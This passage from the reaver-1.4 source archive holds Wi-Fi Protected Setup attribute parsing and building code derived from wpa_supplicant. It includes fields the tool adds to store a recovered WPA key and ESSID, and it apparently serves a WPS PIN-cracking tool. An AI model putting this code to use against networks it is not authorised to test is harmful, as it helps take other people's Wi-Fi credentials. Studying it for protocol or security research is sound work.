WLAN_EID_VENDOR_SPECIFIC); len = wpabuf_put(ie, 1); wpabuf_put_be32(ie, WPS_DEV_OUI_WFA); if (wps_build_version(ie) || wps_build_req_type(ie, req_type)) { wpabuf_free(ie); return NULL; } *len = wpabuf_len(ie) - 2; return ie; } /** * wps_build_assoc_resp_ie - Build WPS IE for (Re)Association Response * Returns: WPS IE or %NULL on failure * * The caller is responsible for freeing the buffer. */ struct wpabuf * wps_build_assoc_resp_ie(void) { struct wpabuf *ie; u8 *len; wpa_printf(MSG_DEBUG, "WPS: Building WPS IE for (Re)Association " "Response"); ie = wpabuf_alloc(100); if (ie == NULL) return NULL; wpabuf_put_u8(ie, WLAN_EID_VENDOR_SPECIFIC); len = wpabuf_put(ie, 1); wpabuf_put_be32(ie, WPS_DEV_OUI_WFA); if (wps_build_version(ie) || wps_build_resp_type(ie, WPS_RESP_AP)) { wpabuf_free(ie); return NULL; } *len = wpabuf_len(ie) - 2; return ie; } /** * wps_build_probe_req_ie - Build WPS IE for Probe Request * @pbc: Whether searching for PBC mode APs * @dev: Device attributes * @uuid: Own UUID * @req_type: Value for Request Type attribute * Returns: WPS IE or %NULL on failure * * The caller is responsible for freeing the buffer. */ struct wpabuf * wps_build_probe_req_ie(int pbc, struct wps_device_data *dev, const u8 *uuid, enum wps_request_type req_type) { struct wpabuf *ie; u8 *len; u16 methods; wpa_printf(MSG_DEBUG, "WPS: Building WPS IE for Probe Request"); ie = wpabuf_alloc(200); if (ie == NULL) return NULL; wpabuf_put_u8(ie, WLAN_EID_VENDOR_SPECIFIC); len = wpabuf_put(ie, 1); wpabuf_put_be32(ie, WPS_DEV_OUI_WFA); if (pbc) methods = WPS_CONFIG_PUSHBUTTON; else { methods = WPS_CONFIG_LABEL | WPS_CONFIG_DISPLAY | WPS_CONFIG_KEYPAD; #ifdef CONFIG_WPS_UFD methods |= WPS_CONFIG_USBA; #endif /* CONFIG_WPS_UFD */ #ifdef CONFIG_WPS_NFC methods |= WPS_CONFIG_NFC_INTERFACE; #endif /* CONFIG_WPS_NFC */ } if (wps_build_version(ie) || wps_build_req_type(ie, req_type) || wps_build_config_methods(ie, methods) || wps_build_uuid_e(ie, uuid) || wps_build_primary_dev_type(dev, ie) || wps_build_rf_bands(dev, ie) || wps_build_assoc_state(NULL, ie) || wps_build_config_error(ie, WPS_CFG_NO_ERROR) || wps_build_dev_password_id(ie, pbc ? DEV_PW_PUSHBUTTON : DEV_PW_DEFAULT)) { wpabuf_free(ie); return NULL; } *len = wpabuf_len(ie) - 2; return ie; } void wps_free_pending_msgs(struct upnp_pending_message *msgs) { struct upnp_pending_message *p, *prev; p = msgs; while (p) { prev = p; p = p->next; wpabuf_free(prev->msg); os_free(prev); } } int wps_attr_text(struct wpabuf *data, char *buf, char *end) { struct wps_parse_attr attr; char *pos = buf; int ret; if (wps_parse_msg(data, &attr) < 0) return -1; if (attr.wps_state) { if (*attr.wps_state == WPS_STATE_NOT_CONFIGURED) ret = os_snprintf(pos, end - pos, "wps_state=unconfigured\n"); else if (*attr.wps_state == WPS_STATE_CONFIGURED) ret = os_snprintf(pos, end - pos, "wps_state=configured\n"); else ret = 0; if (ret < 0 || ret >= end - pos) return pos - buf; pos += ret; } if (attr.ap_setup_locked && *attr.ap_setup_locked) { ret = os_snprintf(pos, end - pos, "wps_ap_setup_locked=1\n"); if (ret < 0 || ret >= end - pos) return pos - buf; pos += ret; } if (attr.selected_registrar && *attr.selected_registrar) { ret = os_snprintf(pos, end - pos, "wps_selected_registrar=1\n"); if (ret < 0 || ret >= end - pos) return pos - buf; pos += ret; } if (attr.dev_password_id) { ret = os_snprintf(pos, end - pos, "wps_device_password_id=%u\n", WPA_GET_BE16(attr.dev_password_id)); if (ret < 0 || ret >= end - pos) return pos - buf; pos += ret; } if (attr.sel_reg_config_methods) { ret = os_snprintf(pos, end - pos, "wps_selected_registrar_config_methods=" "0x%04x\n", WPA_GET_BE16(attr.sel_reg_config_methods)); if (ret < 0 || ret >= end - pos) return pos - buf; pos += ret; } if (attr.primary_dev_type) { char devtype[WPS_DEV_TYPE_BUFSIZE]; ret = os_snprintf(pos, end - pos, "wps_primary_device_type=%s\n", wps_dev_type_bin2str(attr.primary_dev_type, devtype, sizeof(devtype))); if (ret < 0 || ret >= end - pos) return pos - buf; pos += ret; } if (attr.dev_name) { char *str = os_malloc(attr.dev_name_len + 1); size_t i; if (str == NULL) return pos - buf; for (i = 0; i < attr.dev_name_len; i++) { if (attr.dev_name[i] < 32) str[i] = '_'; else str[i] = attr.dev_name[i]; } str[i] = '\0'; ret = os_snprintf(pos, end - pos, "wps_device_name=%s\n", str); os_free(str); if (ret < 0 || ret >= end - pos) return pos - buf; pos += ret; } if (attr.config_methods) { ret = os_snprintf(pos, end - pos, "wps_config_methods=0x%04x\n", WPA_GET_BE16(attr.config_methods)); if (ret < 0 || ret >= end - pos) return pos - buf; pos += ret; } return pos - buf; } reaver-1.4/src/wps/wps_attr_parse.c0000755000175000017500000002456611705505257017024 0ustar reaverreaver/* * Wi-Fi Protected Setup - attribute parsing * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "wps_i.h" #define WPS_WORKAROUNDS static int wps_set_attr(struct wps_parse_attr *attr, u16 type, const u8 *pos, u16 len) { switch (type) { case ATTR_VERSION: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Version length %u", len); return -1; } attr->version = pos; break; case ATTR_MSG_TYPE: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Message Type " "length %u", len); return -1; } attr->msg_type = pos; break; case ATTR_ENROLLEE_NONCE: if (len != WPS_NONCE_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid Enrollee Nonce " "length %u", len); return -1; } attr->enrollee_nonce = pos; break; case ATTR_REGISTRAR_NONCE: if (len != WPS_NONCE_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid Registrar Nonce " "length %u", len); return -1; } attr->registrar_nonce = pos; break; case ATTR_UUID_E: if (len != WPS_UUID_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid UUID-E length %u", len); return -1; } attr->uuid_e = pos; break; case ATTR_UUID_R: if (len != WPS_UUID_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid UUID-R length %u", len); return -1; } attr->uuid_r = pos; break; case ATTR_AUTH_TYPE_FLAGS: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Authentication " "Type Flags length %u", len); return -1; } attr->auth_type_flags = pos; break; case ATTR_ENCR_TYPE_FLAGS: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Encryption Type " "Flags length %u", len); return -1; } attr->encr_type_flags = pos; break; case ATTR_CONN_TYPE_FLAGS: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Connection Type " "Flags length %u", len); return -1; } attr->conn_type_flags = pos; break; case ATTR_CONFIG_METHODS: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Config Methods " "length %u", len); return -1; } attr->config_methods = pos; break; case ATTR_SELECTED_REGISTRAR_CONFIG_METHODS: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Selected " "Registrar Config Methods length %u", len); return -1; } attr->sel_reg_config_methods = pos; break; case ATTR_PRIMARY_DEV_TYPE: if (len != WPS_DEV_TYPE_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid Primary Device " "Type length %u", len); return -1; } attr->primary_dev_type = pos; break; case ATTR_RF_BANDS: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid RF Bands length " "%u", len); return -1; } attr->rf_bands = pos; break; case ATTR_ASSOC_STATE: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Association State " "length %u", len); return -1; } attr->assoc_state = pos; break; case ATTR_CONFIG_ERROR: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Configuration " "Error length %u", len); return -1; } attr->config_error = pos; break; case ATTR_DEV_PASSWORD_ID: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Device Password " "ID length %u", len); return -1; } attr->dev_password_id = pos; break; case ATTR_OOB_DEVICE_PASSWORD: if (len != WPS_OOB_DEVICE_PASSWORD_ATTR_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid OOB Device " "Password length %u", len); return -1; } attr->oob_dev_password = pos; break; case ATTR_OS_VERSION: if (len != 4) { wpa_printf(MSG_DEBUG, "WPS: Invalid OS Version length " "%u", len); return -1; } attr->os_version = pos; break; case ATTR_WPS_STATE: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Wi-Fi Protected " "Setup State length %u", len); return -1; } attr->wps_state = pos; break; case ATTR_AUTHENTICATOR: if (len != WPS_AUTHENTICATOR_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid Authenticator " "length %u", len); return -1; } attr->authenticator = pos; break; case ATTR_R_HASH1: if (len != WPS_HASH_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid R-Hash1 length %u", len); return -1; } attr->r_hash1 = pos; break; case ATTR_R_HASH2: if (len != WPS_HASH_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid R-Hash2 length %u", len); return -1; } attr->r_hash2 = pos; break; case ATTR_E_HASH1: if (len != WPS_HASH_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid E-Hash1 length %u", len); return -1; } attr->e_hash1 = pos; break; case ATTR_E_HASH2: if (len != WPS_HASH_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid E-Hash2 length %u", len); return -1; } attr->e_hash2 = pos; break; case ATTR_R_SNONCE1: if (len != WPS_SECRET_NONCE_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid R-SNonce1 length " "%u", len); return -1; } attr->r_snonce1 = pos; break; case ATTR_R_SNONCE2: if (len != WPS_SECRET_NONCE_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid R-SNonce2 length " "%u", len); return -1; } attr->r_snonce2 = pos; break; case ATTR_E_SNONCE1: if (len != WPS_SECRET_NONCE_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid E-SNonce1 length " "%u", len); return -1; } attr->e_snonce1 = pos; break; case ATTR_E_SNONCE2: if (len != WPS_SECRET_NONCE_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid E-SNonce2 length " "%u", len); return -1; } attr->e_snonce2 = pos; break; case ATTR_KEY_WRAP_AUTH: if (len != WPS_KWA_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid Key Wrap " "Authenticator length %u", len); return -1; } attr->key_wrap_auth = pos; break; case ATTR_AUTH_TYPE: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Authentication " "Type length %u", len); return -1; } attr->auth_type = pos; break; case ATTR_ENCR_TYPE: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Encryption " "Type length %u", len); return -1; } attr->encr_type = pos; break; case ATTR_NETWORK_INDEX: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Network Index " "length %u", len); return -1; } attr->network_idx = pos; break; case ATTR_NETWORK_KEY_INDEX: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Network Key Index " "length %u", len); return -1; } attr->network_key_idx = pos; break; case ATTR_MAC_ADDR: if (len != ETH_ALEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid MAC Address " "length %u", len); return -1; } attr->mac_addr = pos; break; case ATTR_KEY_PROVIDED_AUTO: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Key Provided " "Automatically length %u", len); return -1; } attr->key_prov_auto = pos; break; case ATTR_802_1X_ENABLED: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid 802.1X Enabled " "length %u", len); return -1; } attr->dot1x_enabled = pos; break; case ATTR_SELECTED_REGISTRAR: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Selected Registrar" " length %u", len); return -1; } attr->selected_registrar = pos; break; case ATTR_REQUEST_TYPE: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Request Type " "length %u", len); return -1; } attr->request_type = pos; break; case ATTR_RESPONSE_TYPE: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Response Type " "length %u", len); return -1; } attr->response_type = pos; break; case ATTR_MANUFACTURER: attr->manufacturer = pos; attr->manufacturer_len = len; break; case ATTR_MODEL_NAME: attr->model_name = pos; attr->model_name_len = len; break; case ATTR_MODEL_NUMBER: attr->model_number = pos; attr->model_number_len = len; break; case ATTR_SERIAL_NUMBER: attr->serial_number = pos; attr->serial_number_len = len; break; case ATTR_DEV_NAME: attr->dev_name = pos; attr->dev_name_len = len; break; case ATTR_PUBLIC_KEY: attr->public_key = pos; attr->public_key_len = len; break; case ATTR_ENCR_SETTINGS: attr->encr_settings = pos; attr->encr_settings_len = len; break; case ATTR_CRED: if (attr->num_cred >= MAX_CRED_COUNT) { wpa_printf(MSG_DEBUG, "WPS: Skipped Credential " "attribute (max %d credentials)", MAX_CRED_COUNT); break; } attr->cred[attr->num_cred] = pos; attr->cred_len[attr->num_cred] = len; attr->num_cred++; break; case ATTR_SSID: attr->ssid = pos; attr->ssid_len = len; break; case ATTR_NETWORK_KEY: attr->network_key = pos; attr->network_key_len = len; break; case ATTR_EAP_TYPE: attr->eap_type = pos; attr->eap_type_len = len; break; case ATTR_EAP_IDENTITY: attr->eap_identity = pos; attr->eap_identity_len = len; break; case ATTR_AP_SETUP_LOCKED: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid AP Setup Locked " "length %u", len); return -1; } attr->ap_setup_locked = pos; break; default: wpa_printf(MSG_DEBUG, "WPS: Unsupported attribute type 0x%x " "len=%u", type, len); break; } return 0; } int wps_parse_msg(const struct wpabuf *msg, struct wps_parse_attr *attr) { const u8 *pos, *end; u16 type, len; os_memset(attr, 0, sizeof(*attr)); pos = wpabuf_head(msg); end = pos + wpabuf_len(msg); while (pos < end) { if (end - pos < 4) { wpa_printf(MSG_DEBUG, "WPS: Invalid message - " "%lu bytes remaining", (unsigned long) (end - pos)); return -1; } type = WPA_GET_BE16(pos); pos += 2; len = WPA_GET_BE16(pos); pos += 2; wpa_printf(MSG_MSGDUMP, "WPS: attr type=0x%x len=%u", type, len); if (len > end - pos) { wpa_printf(MSG_DEBUG, "WPS: Attribute overflow"); return -1; } #ifdef WPS_WORKAROUNDS if (type == 0 && len == 0) { /* * Mac OS X 10.6 seems to be adding 0x00 padding to the * end of M1. Skip those to avoid interop issues. */ int i; for (i = 0; i < end - pos; i++) { if (pos[i]) break; } if (i == end - pos) { wpa_printf(MSG_DEBUG, "WPS: Workaround - skip " "unexpected message padding"); break; } } #endif /* WPS_WORKAROUNDS */ if (wps_set_attr(attr, type, pos, len) < 0) return -1; pos += len; } return 0; } reaver-1.4/src/wps/wps_i.h0000755000175000017500000002213611705505257015104 0ustar reaverreaver/* * Wi-Fi Protected Setup - internal definitions * Copyright (c) 2008-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPS_I_H #define WPS_I_H #include "wps.h" /** * struct wps_data - WPS registration protocol data * * This data is stored at the EAP-WSC server/peer method and it is kept for a * single registration protocol run. */ struct wps_data { /** * wps - Pointer to long term WPS context */ struct wps_context *wps; /* * @@@ Pointer to recovered wpa key @@@ * Added so that callers outside of the wpa_supplicant * code can easily access this value. */ char *key; /* * @@@ Pointer to recovered ESSID @@@ */ char *essid; /** * registrar - Whether this end is a Registrar */ int registrar; /** * er - Whether the local end is an external registrar */ int er; enum { /* Enrollee states */ SEND_M1, RECV_M2, SEND_M3, RECV_M4, SEND_M5, RECV_M6, SEND_M7, RECV_M8, RECEIVED_M2D, WPS_MSG_DONE, RECV_ACK, WPS_FINISHED, SEND_WSC_NACK, /* Registrar states */ RECV_M1, SEND_M2, RECV_M3, SEND_M4, RECV_M5, SEND_M6, RECV_M7, SEND_M8, RECV_DONE, SEND_M2D, RECV_M2D_ACK } state; u8 uuid_e[WPS_UUID_LEN]; u8 uuid_r[WPS_UUID_LEN]; u8 mac_addr_e[ETH_ALEN]; u8 nonce_e[WPS_NONCE_LEN]; u8 nonce_r[WPS_NONCE_LEN]; u8 psk1[WPS_PSK_LEN]; u8 psk2[WPS_PSK_LEN]; u8 snonce[2 * WPS_SECRET_NONCE_LEN]; u8 peer_hash1[WPS_HASH_LEN]; u8 peer_hash2[WPS_HASH_LEN]; struct wpabuf *dh_privkey; struct wpabuf *dh_pubkey_e; struct wpabuf *dh_pubkey_r; u8 authkey[WPS_AUTHKEY_LEN]; u8 keywrapkey[WPS_KEYWRAPKEY_LEN]; u8 emsk[WPS_EMSK_LEN]; struct wpabuf *last_msg; u8 *dev_password; size_t dev_password_len; u16 dev_pw_id; int pbc; /** * request_type - Request Type attribute from (Re)AssocReq */ u8 request_type; /** * encr_type - Available encryption types */ u16 encr_type; /** * auth_type - Available authentication types */ u16 auth_type; u8 *new_psk; size_t new_psk_len; int wps_pin_revealed; struct wps_credential cred; struct wps_device_data peer_dev; /** * config_error - Configuration Error value to be used in NACK */ u16 config_error; int ext_reg; int int_reg; struct wps_credential *new_ap_settings; void *dh_ctx; void (*ap_settings_cb)(void *ctx, const struct wps_credential *cred); void *ap_settings_cb_ctx; struct wps_credential *use_cred; int use_psk_key; }; struct wps_parse_attr { /* fixed length fields */ const u8 *version; /* 1 octet */ const u8 *msg_type; /* 1 octet */ const u8 *enrollee_nonce; /* WPS_NONCE_LEN (16) octets */ const u8 *registrar_nonce; /* WPS_NONCE_LEN (16) octets */ const u8 *uuid_r; /* WPS_UUID_LEN (16) octets */ const u8 *uuid_e; /* WPS_UUID_LEN (16) octets */ const u8 *auth_type_flags; /* 2 octets */ const u8 *encr_type_flags; /* 2 octets */ const u8 *conn_type_flags; /* 1 octet */ const u8 *config_methods; /* 2 octets */ const u8 *sel_reg_config_methods; /* 2 octets */ const u8 *primary_dev_type; /* 8 octets */ const u8 *rf_bands; /* 1 octet */ const u8 *assoc_state; /* 2 octets */ const u8 *config_error; /* 2 octets */ const u8 *dev_password_id; /* 2 octets */ const u8 *oob_dev_password; /* WPS_OOB_DEVICE_PASSWORD_ATTR_LEN (54) * octets */ const u8 *os_version; /* 4 octets */ const u8 *wps_state; /* 1 octet */ const u8 *authenticator; /* WPS_AUTHENTICATOR_LEN (8) octets */ const u8 *r_hash1; /* WPS_HASH_LEN (32) octets */ const u8 *r_hash2; /* WPS_HASH_LEN (32) octets */ const u8 *e_hash1; /* WPS_HASH_LEN (32) octets */ const u8 *e_hash2; /* WPS_HASH_LEN (32) octets */ const u8 *r_snonce1; /* WPS_SECRET_NONCE_LEN (16) octets */ const u8 *r_snonce2; /* WPS_SECRET_NONCE_LEN (16) octets */ const u8 *e_snonce1; /* WPS_SECRET_NONCE_LEN (16) octets */ const u8 *e_snonce2; /* WPS_SECRET_NONCE_LEN (16) octets */ const u8 *key_wrap_auth; /* WPS_KWA_LEN (8) octets */ const u8 *auth_type; /* 2 octets */ const u8 *encr_type; /* 2 octets */ const u8 *network_idx; /* 1 octet */ const u8 *network_key_idx; /* 1 octet */ const u8 *mac_addr; /* ETH_ALEN (6) octets */ const u8 *key_prov_auto; /* 1 octet (Bool) */ const u8 *dot1x_enabled; /* 1 octet (Bool) */ const u8 *selected_registrar; /* 1 octet (Bool) */ const u8 *request_type; /* 1 octet */ const u8 *response_type; /* 1 octet */ const u8 *ap_setup_locked; /* 1 octet */ /* variable length fields */ const u8 *manufacturer; size_t manufacturer_len; const u8 *model_name; size_t model_name_len; const u8 *model_number; size_t model_number_len; const u8 *serial_number; size_t serial_number_len; const u8 *dev_name; size_t dev_name_len; const u8 *public_key; size_t public_key_len; const u8 *encr_settings; size_t encr_settings_len; const u8 *ssid; /* <= 32 octets */ size_t ssid_len; const u8 *network_key; /* <= 64 octets */ size_t network_key_len; const u8 *eap_type; /* <= 8 octets */ size_t eap_type_len; const u8 *eap_identity; /* <= 64 octets */ size_t eap_identity_len; /* attributes that can occur multiple times */ #define MAX_CRED_COUNT 10 const u8 *cred[MAX_CRED_COUNT]; size_t cred_len[MAX_CRED_COUNT]; size_t num_cred; }; /* wps_common.c */ void wps_kdf(const u8 *key, const u8 *label_prefix, size_t label_prefix_len, const char *label, u8 *res, size_t res_len); int wps_derive_keys(struct wps_data *wps); void wps_derive_psk(struct wps_data *wps, const u8 *dev_passwd, size_t dev_passwd_len); struct wpabuf * wps_decrypt_encr_settings(struct wps_data *wps, const u8 *encr, size_t encr_len); void wps_fail_event(struct wps_context *wps, enum wps_msg_type msg); void wps_success_event(struct wps_context *wps); void wps_pwd_auth_fail_event(struct wps_context *wps, int enrollee, int part); void wps_pbc_overlap_event(struct wps_context *wps); void wps_pbc_timeout_event(struct wps_context *wps); extern struct oob_device_data oob_ufd_device_data; extern struct oob_device_data oob_nfc_device_data; extern struct oob_nfc_device_data oob_nfc_pn531_device_data; /* wps_attr_parse.c */ int wps_parse_msg(const struct wpabuf *msg, struct wps_parse_attr *attr); /* wps_attr_build.c */ int wps_build_public_key(struct wps_data *wps, struct wpabuf *msg); int wps_build_req_type(struct wpabuf *msg, enum wps_request_type type); int wps_build_resp_type(struct wpabuf *msg, enum wps_response_type type); int wps_build_config_methods(struct wpabuf *msg, u16 methods); int wps_build_uuid_e(struct wpabuf *msg, const u8 *uuid); int wps_build_dev_password_id(struct wpabuf *msg, u16 id); int wps_build_config_error(struct wpabuf *msg, u16 err); int wps_build_authenticator(struct wps_data *wps, struct wpabuf *msg); int wps_build_key_wrap_auth(struct wps_data *wps, struct wpabuf *msg); int wps_build_encr_settings(struct wps_data *wps, struct wpabuf *msg, struct wpabuf *plain); int wps_build_version(struct wpabuf *msg); int wps_build_msg_type(struct wpabuf *msg, enum wps_msg_type msg_type); int wps_build_enrollee_nonce(struct wps_data *wps, struct wpabuf *msg); int wps_build_registrar_nonce(struct wps_data *wps, struct wpabuf *msg); int wps_build_auth_type_flags(struct wps_data *wps, struct wpabuf *msg); int wps_build_encr_type_flags(struct wps_data *wps, struct wpabuf *msg); int wps_build_conn_type_flags(struct wps_data *wps, struct wpabuf *msg); int wps_build_assoc_state(struct wps_data *wps, struct wpabuf *msg); int wps_build_oob_dev_password(struct wpabuf *msg, struct wps_context *wps); /* wps_attr_process.c */ int wps_process_authenticator(struct wps_data *wps, const u8 *authenticator, const struct wpabuf *msg); int wps_process_key_wrap_auth(struct wps_data *wps, struct wpabuf *msg, const u8 *key_wrap_auth); int wps_process_cred(struct wps_parse_attr *attr, struct wps_credential *cred); int wps_process_ap_settings(struct wps_parse_attr *attr, struct wps_credential *cred); /* wps_enrollee.c */ struct wpabuf * wps_enrollee_get_msg(struct wps_data *wps, enum wsc_op_code *op_code); enum wps_process_res wps_enrollee_process_msg(struct wps_data *wps, enum wsc_op_code op_code, const struct wpabuf *msg); /* wps_registrar.c */ struct wpabuf * wps_registrar_get_msg(struct wps_data *wps, enum wsc_op_code *op_code, int type); enum wps_process_res wps_registrar_process_msg(struct wps_data *wps, enum wsc_op_code op_code, const struct wpabuf *msg); int wps_build_cred(struct wps_data *wps, struct wpabuf *msg); int wps_device_store(struct wps_registrar *reg, struct wps_device_data *dev, const u8 *uuid); void wps_registrar_selected_registrar_changed(struct wps_registrar *reg); /* ndef.c */ struct wpabuf * ndef_parse_wifi(struct wpabuf *buf); struct wpabuf * ndef_build_wifi(struct wpabuf *buf); static inline int wps_version_supported(const u8 *version) { /* Require major version match, but allow minor version differences */ return version && (*version & 0xf0) == (WPS_VERSION & 0xf0); } #endif /* WPS_I_H */ reaver-1.4/src/wps/wps_attr_build.c0000755000175000017500000002053211705505257016776 0ustar reaverreaver/* * Wi-Fi Protected Setup - attribute building * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/aes_wrap.h" #include "crypto/crypto.h" #include "crypto/dh_group5.h" #include "crypto/sha256.h" #include "wps_i.h" int wps_build_public_key(struct wps_data *wps, struct wpabuf *msg) { struct wpabuf *pubkey; wpa_printf(MSG_DEBUG, "WPS: * Public Key"); wpabuf_free(wps->dh_privkey); //if (wps->dev_pw_id != DEV_PW_DEFAULT && wps->wps->dh_privkey) { if (wps->wps->dh_privkey) { wpa_printf(MSG_DEBUG, "WPS: Using pre-configured DH keys"); wps->dh_privkey = wpabuf_dup(wps->wps->dh_privkey); wps->dh_ctx = wps->wps->dh_ctx; wps->wps->dh_ctx = NULL; pubkey = wpabuf_dup(wps->wps->dh_pubkey); } else { wpa_printf(MSG_DEBUG, "WPS: Generate new DH keys"); wps->dh_privkey = NULL; dh5_free(wps->dh_ctx); wps->dh_ctx = dh5_init(&wps->dh_privkey, &pubkey); pubkey = wpabuf_zeropad(pubkey, 192); } if (wps->dh_ctx == NULL || wps->dh_privkey == NULL || pubkey == NULL) { wpa_printf(MSG_DEBUG, "WPS: Failed to initialize " "Diffie-Hellman handshake"); wpabuf_free(pubkey); return -1; } wpabuf_put_be16(msg, ATTR_PUBLIC_KEY); wpabuf_put_be16(msg, wpabuf_len(pubkey)); wpabuf_put_buf(msg, pubkey); if (wps->registrar) { wpabuf_free(wps->dh_pubkey_r); wps->dh_pubkey_r = pubkey; } else { wpabuf_free(wps->dh_pubkey_e); wps->dh_pubkey_e = pubkey; } return 0; } int wps_build_req_type(struct wpabuf *msg, enum wps_request_type type) { wpa_printf(MSG_DEBUG, "WPS: * Request Type"); wpabuf_put_be16(msg, ATTR_REQUEST_TYPE); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, type); return 0; } int wps_build_resp_type(struct wpabuf *msg, enum wps_response_type type) { wpa_printf(MSG_DEBUG, "WPS: * Response Type (%d)", type); wpabuf_put_be16(msg, ATTR_RESPONSE_TYPE); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, type); return 0; } int wps_build_config_methods(struct wpabuf *msg, u16 methods) { wpa_printf(MSG_DEBUG, "WPS: * Config Methods (%x)", methods); wpabuf_put_be16(msg, ATTR_CONFIG_METHODS); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, methods); return 0; } int wps_build_uuid_e(struct wpabuf *msg, const u8 *uuid) { wpa_printf(MSG_DEBUG, "WPS: * UUID-E"); wpabuf_put_be16(msg, ATTR_UUID_E); wpabuf_put_be16(msg, WPS_UUID_LEN); wpabuf_put_data(msg, uuid, WPS_UUID_LEN); return 0; } int wps_build_dev_password_id(struct wpabuf *msg, u16 id) { wpa_printf(MSG_DEBUG, "WPS: * Device Password ID (%d)", id); wpabuf_put_be16(msg, ATTR_DEV_PASSWORD_ID); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, id); return 0; } int wps_build_config_error(struct wpabuf *msg, u16 err) { wpa_printf(MSG_DEBUG, "WPS: * Configuration Error (%d)", err); wpabuf_put_be16(msg, ATTR_CONFIG_ERROR); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, err); return 0; } int wps_build_authenticator(struct wps_data *wps, struct wpabuf *msg) { u8 hash[SHA256_MAC_LEN]; const u8 *addr[2]; size_t len[2]; if (wps->last_msg == NULL) { wpa_printf(MSG_DEBUG, "WPS: Last message not available for " "building authenticator"); return -1; } /* Authenticator = HMAC-SHA256_AuthKey(M_prev || M_curr*) * (M_curr* is M_curr without the Authenticator attribute) */ addr[0] = wpabuf_head(wps->last_msg); len[0] = wpabuf_len(wps->last_msg); addr[1] = wpabuf_head(msg); len[1] = wpabuf_len(msg); hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 2, addr, len, hash); wpa_printf(MSG_DEBUG, "WPS: * Authenticator"); wpabuf_put_be16(msg, ATTR_AUTHENTICATOR); wpabuf_put_be16(msg, WPS_AUTHENTICATOR_LEN); wpabuf_put_data(msg, hash, WPS_AUTHENTICATOR_LEN); return 0; } int wps_build_version(struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Version"); wpabuf_put_be16(msg, ATTR_VERSION); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, WPS_VERSION); return 0; } int wps_build_msg_type(struct wpabuf *msg, enum wps_msg_type msg_type) { wpa_printf(MSG_DEBUG, "WPS: * Message Type (%d)", msg_type); wpabuf_put_be16(msg, ATTR_MSG_TYPE); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, msg_type); return 0; } int wps_build_enrollee_nonce(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Enrollee Nonce"); wpabuf_put_be16(msg, ATTR_ENROLLEE_NONCE); wpabuf_put_be16(msg, WPS_NONCE_LEN); wpabuf_put_data(msg, wps->nonce_e, WPS_NONCE_LEN); return 0; } int wps_build_registrar_nonce(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Registrar Nonce"); wpabuf_put_be16(msg, ATTR_REGISTRAR_NONCE); wpabuf_put_be16(msg, WPS_NONCE_LEN); wpabuf_put_data(msg, wps->nonce_r, WPS_NONCE_LEN); return 0; } int wps_build_auth_type_flags(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Authentication Type Flags"); wpabuf_put_be16(msg, ATTR_AUTH_TYPE_FLAGS); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, 